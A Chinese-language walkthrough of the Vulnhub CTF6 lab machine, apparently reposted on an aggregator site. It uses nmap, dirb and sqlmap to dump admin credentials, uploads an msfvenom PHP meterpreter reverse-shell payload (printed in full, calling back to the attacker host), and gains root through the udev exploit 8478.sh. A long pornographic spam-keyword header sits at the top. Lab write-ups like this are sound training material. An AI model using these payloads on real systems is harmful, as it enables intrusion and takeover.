日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Vulnhub-CTF6靶机实战

發布時間:2024/1/1 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Vulnhub-CTF6靶机实战 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

靶機下載地址:下載地址

KALI地址:192.168.10.73

靶機地址:192.168.10.40


一.信息收集

1.主機發現

使用命令如下,來進行主機發現

netdiscover -r 192.168.10.73

如下圖發現了靶機地址


2.主機掃描

這使用的是nmap命令來進行的主機掃描,如下命令

nmap -A -T4 -p- 192.168.10.40

如下圖,掃描結果,發現開放了很多端口


3.目錄掃描

既然掃描端口開放了80端口,那么肯定是網站,那么二話不說直接來一通目錄掃描,使用命令如下

dirb http://192.168.10.40

如下圖,掃出來很多目錄,紅色箭頭是我自己覺得可能很重要的目錄


4.網頁信息收集

我們打開網站首頁發現類似于文章的頁面,并且有login,證明可以登錄,然后每篇文章都可以點Read More,但是點進去之后,發現上面URL地址,是id出頭的,經過測試可以更換后面的數字進行文章跳轉,如果在后面加一個其他字符,就不能跳轉了,猜測可能有SQL注入,如下圖。

根據上面信目錄掃描,發現了一個郵件系統,如下圖,可能有用

然后我們訪問doc目錄,發現了一個壓縮包可以下載下來,并且里面還有一個phpinfo,可以看看php版本

我們訪問sql目錄,發現了一個文件,并且文件里面有密碼和用戶泄露,可能有用,如下圖

然后根據目錄掃描還發現了phpmyadmin如下圖,可能后面有用


二.漏洞利用

1.SQL注入

根據上面網頁信息收集,發現文章id可能有SQL注入,我們直接使用sqlmap一把梭試試看,如下命令

python sqlmap.py -u "http://192.168.10.40/?id=1" --dbs

如下圖,爆破出了所有的數據庫,這里就覺得cms數據庫可疑就他了。

所以一路憑感覺就發現了賬戶密碼,使用命令如下。

python sqlmap.py -u "http://192.168.10.40/?id=1" -D cms -T user -C user_username,user_password --dump

如下圖,發現了賬戶密碼,和上面網頁信息收集的時候發現的賬戶密碼一直對應了,這里猜測是后臺登錄密碼和賬戶,正好首頁有一個登錄框。

賬戶:admin

密碼:adminpass


2.文件上傳

根據上面SQL注入獲取到的密碼賬戶,成功登錄到了后臺,然后在Add Event選項,發現了上傳選項!!!這不得上傳?如下圖。

然后經過測試,發現這里上傳根本沒有過濾,直接上傳php文件即可,這里我們打開KALI,輸入命令如下來生成一個php木馬。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.73 LPORT=4444 -f raw

生成的木馬代碼如下

*<?php /**/ error_reporting(0); $ip = '192.168.10.73'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

然后我們在再msf里面打開監聽,操作流程如下

┌──(root?kali)-[~/Desktop] └─# msfconsole _---------..' ####### ;.".---,. ;@ @@`; .---,.. ." @@@@@'.,'@@ @@@@@',.'@@@@ ". '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'"--'.@@@ -.@ @ ,'- .'--"".@' ; @ @ `. ;'|@@@@ @@@ @ .' @@@ @@ @@ ,`.@@@@ @@ . ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,...."/ =[ metasploit v6.1.27-dev ] + -- --=[ 2196 exploits - 1162 auxiliary - 400 post ] + -- --=[ 596 payloads - 45 encoders - 10 nops ] + -- --=[ 9 evasion ]Metasploit tip: View all productivity tips with the tips commandmsf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler):Name Current Setting Required Description---- --------------- -------- -----------Payload options (generic/shell_reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Wildcard Targetmsf6 exploit(multi/handler) > set LHOST 192.168.10.73 LHOST => 192.168.10.73 msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.10.73:4444

之后我們再把生成的木馬的代碼,放進一個php文件里面然后直接上傳上去即可,如下圖

怎么找到路徑呢,我們回到首頁,然后如下圖所示打開即可

打開之后,發現就成功反彈了meterpreter如下圖。


三.提權

來到了后臺,再meterpreter的地方輸入shell來獲取一個控制臺,然后輸入命令whereis python來查找靶機是否有python,發現是有的然后再輸入python -c "import pty; pty.spawn('/bin/bah')"來獲取一個新的binbash,如下圖。

之后就可以再靶機里面找信息,查看是否有提權的可能,經過一番查找(指的是找了半小時),發現再系統層面,系統內核是2.6!!!,如下圖,查看命令是uname -a。

1.udev提權

udev漏洞針對的是linux2.6的內核,正好靶機是這個內核,所以這里可以使用udev漏洞來進行提權,首先我們去kali搜索是否擁有這個提權文件,發現是有的,搜索命令是searchsploit udev,如下圖。

然后我們把這個文件復制到桌面,使用命令如下。

cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./

然后我們使用meterpreter來把文件上傳到靶機的/tmp文件夾,命令是upload /root/Desktop/8478.sh /tmp,需要在meterpreter的命令行輸入,如果從shell回到meterpreter的命令行只需要按ctrl +c即可,然后方便做下一步操作,如下圖。

回到靶機,cd到tmp文件夾,發現提權文件已經在里面了,我們現在只需要給文件賦予777權限,命令是chmod 777 8478.sh

然后我們在查看一下udev id查看命令是ps -ef |grep udev,如下圖,發現是568

之后我們執行文件的時候加上這個id即可提權,如下圖提權成功,命令是./8478.sh 568

如下圖提權,成功,發現id變成了root,并且$變成了#,完成!


四.總結

udev提權很重要

總結

以上是生活随笔為你收集整理的Vulnhub-CTF6靶机实战的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。